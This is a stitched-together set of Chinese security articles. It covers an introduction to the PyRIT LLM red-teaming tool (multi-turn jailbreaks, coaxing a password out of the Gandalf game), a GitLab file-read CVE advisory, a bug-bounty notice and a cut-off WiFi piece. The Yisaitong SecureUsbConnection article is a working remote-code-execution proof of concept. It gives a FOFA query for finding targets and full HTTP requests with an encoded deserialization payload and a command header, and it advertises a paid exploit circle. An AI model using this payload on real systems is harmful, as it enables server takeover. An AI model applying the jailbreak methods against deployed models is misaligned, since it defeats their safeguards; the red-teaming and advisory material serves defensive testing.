单条提示词好挡，真正的越狱往往是**一场对话**
|
||||
里慢慢逼近目标。PyRIT 的多轮攻击用一个"对抗模型"当对手——它不断生成下一步提示，目标回复，评分器判断是否接近目标，循环往复最多 N 轮。这正是单发扫描类工具做不了的事。
|
||||
|
||||
它带一个 HarmBench 加载器，能把公开的越狱行为清单当目标直接灌进去跑。全应用测试用 HTTPTarget
|
||||
指向你的真实聊天端点，攻击会穿透你的系统提示、RAG 检索和护栏，测的是攻击者真正面对的那个应用，而不是裸模型。最有名的实战是它去打 Lakera 的 Gandalf 游戏——那个需要套出密码的游戏，PyRIT 用多轮对话组合拳把密码哄了出来。
|
||||
|
||||
|
||||
## 上手：三步跑一轮
|
||||
|
||||
装好 Python 3.10–3.13，装包：pip install pyrit
|
||||
（想拿最新攻击和目标就从仓库装）。然后配环境变量入库的是模型端点和 Key。最小的一次攻击就几行：
|
||||
```
|
||||
from pyrit.setup import IN_MEMORY, initialize_pyrit_asyncfrom pyrit.prompt_target import OpenAIChatTargetfrom pyrit.executor.attack import PromptSendingAttackawait initialize_pyrit_async(memory_db_type=IN_MEMORY)attack = PromptSendingAttack(objective_target=OpenAIChatTarget())result = await attack.execute_async(objective="Tell me how to make a Molotov cocktail")
|
||||
```
|
||||
|
||||
一个表现正常的模型会拒绝；PyRIT 的价值就是帮你找到它**没拒绝**
|
||||
的那些提示。评分器自动判，比如 SelfAskTrueFalseScorer
|
||||
问"这个回复是否给出了制造步骤"，回 True 就是命中。
|
||||
|
||||
|
||||
## 避坑点
|
||||
- **评分器会误报**
|
||||
：SelfAsk 系列评分器本质是"模型评模型"，边界情况会看走眼。重要命中务必人工回看对话，铁证用 SubStringScorer
|
||||
这类确定性判定。把评分列当"待办线索"，别当终审。
|
||||
|
||||
- **多轮攻击费钱费时**
|
||||
：CrescendoAttack
|
||||
/TAPAttack
|
||||
对目标和对抗模型都要连发请求，max_turns 调大后一个目标可能跑几分钟。上线前小规模跑，深扫放定时夜间任务。
|
||||
|
||||
- **别一上来就上多轮**
|
||||
：正确顺序是先用 PromptSendingAttack
|
||||
+ 拒绝评分打基线，再加转换器找过滤器绕过的缝隙，最后才升级到 Crescendo/TAP。
|
||||
|
||||
## 和 garak、promptfoo 怎么选
|
||||
|
||||
这三家定位不同。**garak**
|
||||
零代码一条命令按预设攻击集扫一遍，适合快速摸底；**promptfoo**
|
||||
是配置驱动的评估+红队套餐；**PyRIT**
|
||||
是把它当成"持续、可编程、要嵌进 CI/CD 的长期纪律"——要多轮深度和自定义评分，PyRIT 是最强的那个。成熟团队往往三件套都上，跑完再加运行时护栏。
|
||||
## 适合谁
|
||||
|
||||
把大模型安全当长期工程、而不是上线前应付一次的团队。个体开发者想测自己接的模型，装起来跑一轮 PromptSendingAttack
|
||||
看看基线也够用。仓库地址 GitHub 搜 microsoft/PyRIT
|
||||
，完整文档在 microsoft.github.io/PyRIT
|
||||
。装不装、怎么深入，你自己去仓库和文档里翻。
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
# 【已复现】GitLab CVE-2026-85706 未授权任意文件读取漏洞
|
||||
源影安全
|
||||
源影安全 源影安全团队 2026-09-11 06:07
|
||||
|
||||
GitLab 是当前企业自托管代码资产管理的绝对主流方案——源代码仓库、CI/CD 流水线、制品库、容器镜像库乃至 Terraform 状态与各类第三方集成凭据全部汇聚其上，Web 与 API 入口往往同时面向研发网段和互联网开放。对使用方而言，GitLab 一旦失守，意味着源代码、流水线凭据、云密钥与内网拓扑的整体暴露，历来是攻防双方便利清单上的第一优先级目标。
|
||||
|
||||
|
||||
CVE-2026-85706 是 GitLab 于 9 月 10 日补丁日修复的未授权任意文件读取漏洞，CVSS 评分 10.0。其成因位于仓库提交相关 API 的大文件上传链路：服务端直接信任了请求侧传入的文件元数据并据此读取本地文件，而对应端点在执行读取动作前又缺少身份校验，两个缺陷叠加后，远程攻击者无需任何账号即可探测服务器上的文件，并在特定条件下获取文件内容。漏洞影响 CE/EE 自 18.7 起至修复前的全部在维护版本，官方修复版本为 19.3.2、19.2.6 与 19.1.8。需要特别指出的是，该漏洞的触发前提在常见部署形态下即可满足，整条利用链均为普通 HTTP 请求，自动化成本极低；即便部分文件内容无法直接回显，攻击者仍可借助响应差异对服务器文件布局、权限边界与运行环境进行刻画，为后续攻击铺路。
|
||||
|
||||
同批修复的 CVE-2026-87719（CVSS 9.9）则涉及 EE 版本的 Duo Chat 功能：其 GraphQL 订阅链路对用户可控参数的序列化往返缺少必要约束，已通过 Duo Chat 认证的用户可借此绕过对象访问控制、越权执行服务器对象查找，进而触及高级搜索实例的配置与敏感凭据。对启用高级搜索的企业而言，这相当于把全实例代码与协作数据的检索能力暴露给普通账号持有者，与前者组合时可显著放大危害。
|
||||
|
||||
我们已在实验室基于官方 Docker 镜像完成验证：对 CVE-2026-85706，在 19.3.1 上稳定复现未授权的文件读取行为，与官方公告描述吻合；升级至 19.3.2 后，同一验证方式被身份校验直接阻断，与官方修复说明完全一致。对 CVE-2026-87719，我们通过新旧版本依赖与补丁差异定位了修复引入点，并在组件层确认了修复前后的行为差异。全过程仅使用官方原版镜像与默认配置。
|
||||
|
||||
|
||||
|
||||
|
||||
处置建议
|
||||
|
||||
- 立即升级至 19.3.2 / 19.2.6 / 19.1.8 或更高版本，这是目前唯一彻底的修复手段，可同时消除上述漏洞；
|
||||
|
||||
- 暂时无法升级的实例，建议将 GitLab 的 Web 与 API 入口收敛至可信网段或 VPN 之后，对未登录状态下访问仓库提交、仓库文件类接口的异常请求启用监控与告警；
|
||||
|
||||
- 回溯排查接入日志中来源异常的未认证 API 请求，评估信息是否已经泄露；
|
||||
|
||||
- 如存在失陷迹象，升级完成后应轮换实例加密密钥与全部访问凭证，并重点核查高级搜索、对象存储、镜像库等集成配置有无被读取或篡改的痕迹。
|
||||
|
||||
|
||||
参考
|
||||
|
||||
https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/
|
||||
|
||||
https://about.gitlab.com/releases/2026/09/10/patch-release-gitlab-19-3-2-released/
|
||||
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
# 亿赛通电子文档安全管理系统SecureUsbConnection存在反序列化漏洞
|
||||
北雪网络安全 2026-09-11 01:01
|
||||
|
||||
**本文章所描述的内容仅供网络安全学习使用，任何人不允许学到技术内容进行非法系统测试，作者不对任何学习文章并进行非法操作的行为负责，由本人自己承担后果，本文章仅供技术学习。**
|
||||
|
||||
01
|
||||
|
||||
更多内容
|
||||
|
||||
#### 网络安全学习知识库每日添加最新漏洞并提供python与 nuclei 批量探测脚本：https://pc.fenchuan8.com/#/index?forum=110296
|
||||
|
||||
|
||||
02
|
||||
|
||||
搜索引擎
|
||||
|
||||
|
||||
fofa
|
||||
：
|
||||
app="
|
||||
亿赛通
|
||||
-
|
||||
电子文档安全管理系统
|
||||
" || body="/CDGServer3/index.jsp"
|
||||
|
||||
|
||||
|
||||
03
|
||||
|
||||
漏洞复现
|
||||
|
||||
漏洞概述：
|
||||
亿赛通电子文档安全管理系统
|
||||
SecureUsbConnection
|
||||
存在反序列化漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个
|
||||
web
|
||||
服务器。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
POST /CDGServer3/SecureUsbConnection?command=GETSYSTEMINFO HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Content-Type: text/xml
|
||||
cmd: echo {{randstr}}
|
||||
|
||||
NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPCBDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPANPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBGKKMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABENFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPGLIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCINIECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHCEKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENMMIFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBNEAKOAMMEHPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLEGBPJJCDJFGHDMLPNJBGFMLGMCABONHBLHPKHKEGJIBPFKCLMBIKKOMINPAJEPFHANBIBKMPHKEODCBMMIGAEFCENBNKDONGNLBADGDLJBMJGKEMNJOMPHDOPALIGEPCEDDAHJMNMJBFLIPBODEDCDAPMNGCANOCPLLMJOCPMPJDMEAMEPELICJKJLODAJEILBOJNFAJOFNOGCHGOJEGMGCPNCDEECKPAIAOHCLJBBFDKKAIHOJEKDBOFMFOBEDLNGJNIAJPLGMHBLHODIKDLEPOINDPDDIGKOLGEOBFFPMOHLBEALFIGAKNDKEKEJMJLNGHNANLCGLPNLBBFNKNEKCGBJKJDABFNAGPDILHBAAIECKBLKEDIJIMPJOMFLHBMOBLEKNEHINHAKBOHICLGBBPIEJIKALMIJHKHFIDNICAEEFPGGPBCBFPOJDFFKAGKAEOOCPMGCCMHPCIKHCODDCNGDDNDLAIMAPEMPNECNFPIALJELGOIHECEKHBHOHNIFCBJBFAOKKDCMNHHINAFGNECFPOGHBNMPJOECCFOCHICANBDOCCELJCENBMIMBKCNJAEMBHLOJOGALHGLLOEBFGFJAOFJHEGNLCEBCHGLNFEEIDOKIJNDHDANFPGLEMHOIJHOOJGKLGHBFBMBPBKEFOAKAIAGDMBLDEKLFKADKHNPAKBNPDKFIOAMAKKEHFNDABEPGKBMFCDFFOCIPDDEBOBFONDJFAJIJBAMGNBMCMJODGEGKIMIOLLAKMKJJAOCEMOBDCODALCKGKKKIADHOFMLNDGJBEMLLJPJOKPAIDACMPCOKAGKLIIMDENPNMEIBBMIFHGJKLKGPNOBJGMMLDKFKALLFHFDGDBDBMPOPDBLDNMAALEMAHGINFECKFHKJHFOCDJNBEDNGJCNENGIDHBJOLHEPFLEPHOOGJKFEGFLEMLGKDOOKIMAJIBJKOLAKCHBJJFDIGEMPABDNJFGMDAGEDIOHJKOAEHPLIBOFLIMFIEFOOGDHDNLCKOKPEDKEEBPAHKFMKBNNBAMICPOPLNPIGLMPDLAFBIEPHPJBFLBDECCPFINEBGMPMECAICGFLMJEKEIKDOKJMOAJLFNHHEHEPDAMFLNPKCDPODPLMFFAMILMAFIDBDJJOKIJKGJACMOMEHDDCJJAAOAFJDCCEFHKMJNDJEOLOOIHCFIILOIGCOPDHENDDEODNJAJJFHNJIBJGJPFFKEDPBJAKIPHPKELOMHNFABNMIMODOGPBOFLLPBGAHCEOBBFJLKNAMKACHIOMMFLAPFJCHBIJAAEJELEFFEIMAMCACJBBGADJDJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIKNBGDCJJCPMABJINOGLAPAHGLJLADBJKFLNAAFKFOBIJKCFIDEKNFGFCHDPGLKFDKPPHPNCFIGAMHBNHMLJAHOKKFLNOCNDNPPJJHBBKHDIIENFAGAHOMFPNNBGDLDEHLBDOKEOAEFPPCIEPGIOAHDEEMIKDPHBMADGLNILDCIEKELEBBEOBKLCDLKLKLLKHDHBHGDDLHOHGPPANCDABBHHBDOOLEOAKBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIGOGDKMBIAMJNNOOFGCNHBCCCFKCAOFDDDCBPLMMHGBLEDOPNEHBOECJGFMFOEIEIFAHLCOOAOLBFFKHAHIEMAEOBBPMBJNDMJJDMNJEMBGMNEPCFODGCOCKJICOBEGAFJKFADJOFMGPILCDMBFLLLAHEKPBCDJEBMHDLBLDLLCIAGNJJBFHFOIPLNNOFAFNOMFPBPNFLPLFFNNBBNEPBHBKJEOHBJPMOHHEKFHGACPFPDAHPCAPPGPKBJBGGNIPLOHFPAPHLHCJJHNGNKOMDMIECKACEPHCFJJAIPLCEOFNLBAFGFLBLNBPAHBOOJOKHIBAJFEAEKBNHHODNJNMEONLHDIPPCJJAEKOOELNHPDPAEPPBILHLHELMDHGPJMILIEOFJHBIJHAIPPKCIJKKANAAKEDNDAILJPGJLIBJMABMPDMHGPNALCCAIIAMJMFGJDOIPEFEBMMOBABIKBMMHMFHLBEFFLAGJLNMDEAOALFJGOGNFMFEFKPMNCNNEFMJNADLNIILEGKLOOHMBHPJJCNFBPKIKMAIEIANCNDLOODENILDEJELHACIBBOCINOOFNPMINIFDEFMPBNDMFGHJHNKCKDECBJIBFMIMBGFCIHDJAKCPNAPNMOIKJIDLPJCIKNOGJDBALIDJPCNICIAIPNGPCLDBGPIFLGDPNDOODLHJPLHFILLLKDJHHDIBODNIPFLCAKAFMGCAAMKOEOPLJAAAPDAHJAJHIHGPDFLNALHAPHIOBEDFICNIHJLFALHJKNLFLBKIHIFNAIIFBILLNOAIOKFMLEPDIKMHGNMDLKBIEGLFHDNPPDFPEDPGOLPICMJPOFEAJJMHGKPJEJNEMJGIPKBDHEGLILBLJIEICMNINFCHAOGJNMIHPAOJCCFNJHGJCJEMJJPCNFDKKGDJCDFBPGNKGDMPEBIIMLMBBAOGBOPAEFOMIHEJCKJGBLFFOGNGOFPPJEFNPLFPOGPICGIKMGPNIKNOELEMAGNHKHOIKAILJBMJJIPABBGPICCMPNFPHHFHKDAHJKBMAHDBKLAJKPJFHOICCDFKJEDGGFDKPGJLKFJJJKCOANLNPDEJLHBBHJJGMNJPHFCHGINMJIMBDCBCDOHKDANDLFDOOCEADNHODFKGLBGAPAAONECAEACNDKGFGIMDAAKMLJJLAGKCJDECINGDJAHONECBMFDKMCKHOKADAPGBOKOGPEDFMHKFBDEBOMKNMELIALJHOHGOCAMKJCFECMNCODNHGIFBFIIJMPEHGNBDNGHICBLIGCOPDHLine truncated
|
||||
```
|
||||
|
||||
|
||||
```
|
||||
POST /CDGServer3/SecureUsbConnection?command=GETSYSTEMINFO HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Content-Type: text/xml
|
||||
cmd: echo 1111111111111
|
||||
|
||||
NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPCBDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPANPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBGKKMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABENFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPGLIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCINIECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHCEKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENMMIFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBNEAKOAMMEHPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLEGBPJJCDJFGHDMLPNJBGFMLGMCABONHBLHPKHKEGJIBPFKCLMBIKKOMINPAJEPFHANBIBKMPHKEODCBMMIGAEFCENBNKDONGNLBADGDLJBMJGKEMNJOMPHDOPALIGEPCEDDAHJMNMJBFLIPBODEDCDAPMNGCANOCPLLMJOCPMPJDMEAMEPELICJKJLODAJEILBOJNFAJOFNOGCHGOJEGMGCPNCDEECKPAIAOHCLJBBFDKKAIHOJEKDBOFMFOBEDLNGJNIAJPLGMHBLHODIKDLEPOINDPDDIGKOLGEOBFFPMOHLBEALFIGAKNDKEKEJMJLNGHNANLCGLPNLBBFNKNEKCGBJKJDABFNAGPDILHBAAIECKBLKEDIJIMPJOMFLHBMOBLEKNEHINHAKBOHICLGBBPIEJIKALMIJHKHFIDNICAEEFPGGPBCBFPOJDFFKAGKAEOOCPMGCCMHPCIKHCODDCNGDDNDLAIMAPEMPNECNFPIALJELGOIHECEKHBHOHNIFCBJBFAOKKDCMNHHINAFGNECFPOGHBNMPJOECCFOCHICANBDOCCELJCENBMIMBKCNJAEMBHLOJOGALHGLLOEBFGFJAOFJHEGNLCEBCHGLNFEEIDOKIJNDHDANFPGLEMHOIJHOOJGKLGHBFBMBPBKEFOAKAIAGDMBLDEKLFKADKHNPAKBNPDKFIOAMAKKEHFNDABEPGKBMFCDFFOCIPDDEBOBFONDJFAJIJBAMGNBMCMJODGEGKIMIOLLAKMKJJAOCEMOBDCODALCKGKKKIADHOFMLNDGJBEMLLJPJOKPAIDACMPCOKAGKLIIMDENPNMEIBBMIFHGJKLKGPNOBJGMMLDKFKALLFHFDGDBDBMPOPDBLDNMAALEMAHGINFECKFHKJHFOCDJNBEDNGJCNENGIDHBJOLHEPFLEPHOOGJKFEGFLEMLGKDOOKIMAJIBJKOLAKCHBJJFDIGEMPABDNJFGMDAGEDIOHJKOAEHPLIBOFLIMFIEFOOGDHDNLCKOKPEDKEEBPAHKFMKBNNBAMICPOPLNPIGLMPDLAFBIEPHPJBFLBDECCPFINEBGMPMECAICGFLMJEKEIKDOKJMOAJLFNHHEHEPDAMFLNPKCDPODPLMFFAMILMAFIDBDJJOKIJKGJACMOMEHDDCJJAAOAFJDCCEFHKMJNDJEOLOOIHCFIILOIGCOPDHENDDEODNJAJJFHNJIBJGJPFFKEDPBJAKIPHPKELOMHNFABNMIMODOGPBOFLLPBGAHCEOBBFJLKNAMKACHIOMMFLAPFJCHBIJAAEJELEFFEIMAMCACJBBGADJDJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIKNBGDCJJCPMABJINOGLAPAHGLJLADBJKFLNAAFKFOBIJKCFIDEKNFGFCHDPGLKFDKPPHPNCFIGAMHBNHMLJAHOKKFLNOCNDNPPJJHBBKHDIIENFAGAHOMFPNNBGDLDEHLBDOKEOAEFPPCIEPGIOAHDEEMIKDPHBMADGLNILDCIEKELEBBEOBKLCDLKLKLLKHDHBHGDDLHOHGPPANCDABBHHBDOOLEOAKBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIGOGDKMBIAMJNNOOFGCNHBCCCFKCAOFDDDCBPLMMHGBLEDOPNEHBOECJGFMFOEIEIFAHLCOOAOLBFFKHAHIEMAEOBBPMBJNDMJJDMNJEMBGMNEPCFODGCOCKJICOBEGAFJKFADJOFMGPILCDMBFLLLAHEKPBCDJEBMHDLBLDLLCIAGNJJBFHFOIPLNNOFAFNOMFPBPNFLPLFFNNBBNEPBHBKJEOHBJPMOHHEKFHGACPFPDAHPCAPPGPKBJBGGNIPLOHFPAPHLHCJJHNGNKOMDMIECKACEPHCFJJAIPLCEOFNLBAFGFLBLNBPAHBOOJOKHIBAJFEAEKBNHHODNJNMEONLHDIPPCJJAEKOOELNHPDPAEPPBILHLHELMDHGPJMILIEOFJHBIJHAIPPKCIJKKANAAKEDNDAILJPGJLIBJMABMPDMHGPNALCCAIIAMJMFGJDOIPEFEBMMOBABIKBMMHMFHLBEFFLAGJLNMDEAOALFJGOGNFMFEFKPMNCNNEFMJNADLNIILEGKLOOHMBHPJJCNFBPKIKMAIEIANCNDLOODENILDEJELHACIBBOCINOOFNPMINIFDEFMPBNDMFGHJHNKCKDECBJIBFMIMBGFCIHDJAKCPNAPNMOIKJIDLPJCIKNOGJDBALIDJPCNICIAIPNGPCLDBGPIFLGDPNDOODLHJPLHFILLLKDJHHDIBODNIPFLCAKAFMGCAAMKOEOPLJAAAPDAHJAJHIHGPDFLNALHAPHIOBEDFICNIHJLFALHJKNLFLBKIHIFNAIIFBILLNOAIOKFMLEPDIKMHGNMDLKBIEGLFHDNPPDFPEDPGOLPICMJPOFEAJJMHGKPJEJNEMJGIPKBDHEGLILBLJIEICMNINFCHAOGJNMIHPAOJCCFNJHGJCJEMJJPCNFDKKGDJCDFBPGNKGDMPEBIIMLMBBAOGBOPAEFOMIHEJCKJGBLFFOGNGOFPPJEFNPLFPOGPICGIKMGPNIKNOELEMAGNHKHOIKAILJBMJJIPABBGPICCMPNFPHHFHKDAHJKBMAHDBKLAJKPJFHOICCDFKJEDGGFDKPGJLKFJJJKCOANLNPDEJLHBBHJJGMNJPHFCHGINMJIMBDCBCDOHKDANDLFDOOCEADNHODFKGLBGAPAAONECAEACNDKGFGIMDAAKMLJJLAGKCJDECINGDJAHONECBMFDKMCKHOKADAPGBOKOGPEDFMHKFBDEBOMKNMELIALJHOHGOCAMKJCFECMNCODNHGIFBFIIJMPEHGNBDNGHICBLIGCOPDHLine truncated
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
04
|
||||
|
||||
修复建议
|
||||
|
||||
1、关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2、升级至安全版本
|
||||
|
||||
05
|
||||
|
||||
内部圈子
|
||||
|
||||
🛠️
|
||||
【知名漏洞实战圈，纯干货】
|
||||
🛠️
|
||||
|
||||
还在找公开漏洞POC而烦恼？还在为漏洞不会验证而发愁？还在为发现不了漏洞而自卑？这里漏洞圈子解决你的困惑！
|
||||
目前已更新poc数量2500+
|
||||
|
||||
|
||||
|
||||
|
||||
🎯 适用场景
|
||||
|
||||
**▫️渗透测试▫️企业漏洞自查▫️攻防演练▫️安全服务▫️合规运营**
|
||||
|
||||
****
|
||||
|
||||
**▫️微信扫一扫进入付费圈子查看更多漏洞内容。**
|
||||
|
||||
**▫️全民掌握网安技能，共守智能时代晴空。**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
# 关于暂停接收中通子公司中危、低危漏洞报告的通知
|
||||
中通安全应急响应中心 2026-09-11 07:44
|
||||
|
||||
|
||||
|
||||
为集中资源处理高风险安全隐患，提升漏洞处置效率，经ZSRC团队评估决定：**暂停接收中通旗下子公司中危、低危漏洞报告**
|
||||
。包括但不限于：兔喜、中通快运、中通国际、中通云仓、中通冷链、中通支付、中通智运、中通金融等。
|
||||
|
||||
|
||||
**本公告****自****发布之日起立即生效：**
|
||||
公告发布前已提交、尚未完成评审的子公司中危、低危漏洞，仍按原有规则处理，本公告发布后提交的中危、低危漏洞，均不收取。
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
# 揭秘：企业WiFi的11个隐形漏洞，你的网络中了几个？
|
||||
墨云安全 2026-09-11 04:19
|
||||
|
||||
|
||||
|
||||
点击↑
|
||||
**蓝字**
|
||||
|
||||
关注
|
||||
**墨云安全**
|
||||
|
||||
|
||||
|
||||
据Cisco《2026全球无线网络状况报告》，85%的企业在过去一年中至少遭遇过一次无线安全事件，其中58%因此产生了经济损失，一半以上的损失金额超过100万美元。同时，无线WiFi相关漏洞正以每年超过25%的速度累积增长，企业WiFi网络已成为黑客攻击的主要入口。
|
||||
|
||||
如何高效、全面地
|
||||
检测WiFi安全风险，已成为企业亟待解决的问题。本文揭秘企业WiFi的11个隐形漏洞
|
||||
，利用AI智能体将安全检测从"人海战术"转向自动化流程的路径，帮助企业以更低的人力成本、更短的时间周期，完成对WiFi网络风险的全面排查与可信溯源。
|
||||
|
||||
**痛点分析：传统WIFI安全检测的3大难题**
|
||||
## 难题1：人工检测耗时耗力
|
||||
|
||||
传统渗透测试依赖专业安全工程师手动操作，从资产收集到漏洞验证，几乎每个步骤都离不开人。一个完整的WiFi安全检测，往往需要3名工程师连续投入3天。
|
||||
## 难题2：检测项容易遗漏
|
||||
|
||||
Wi-Fi安全检测涉及11个维度，从加密方式到设备漏洞，从网络隔离到管理页面暴露，任何一个环节被跳过都可能留下缺口。而在时间压力或经验不足的情况下，人工检测常常会漏掉3到5个关键项。
|
||||
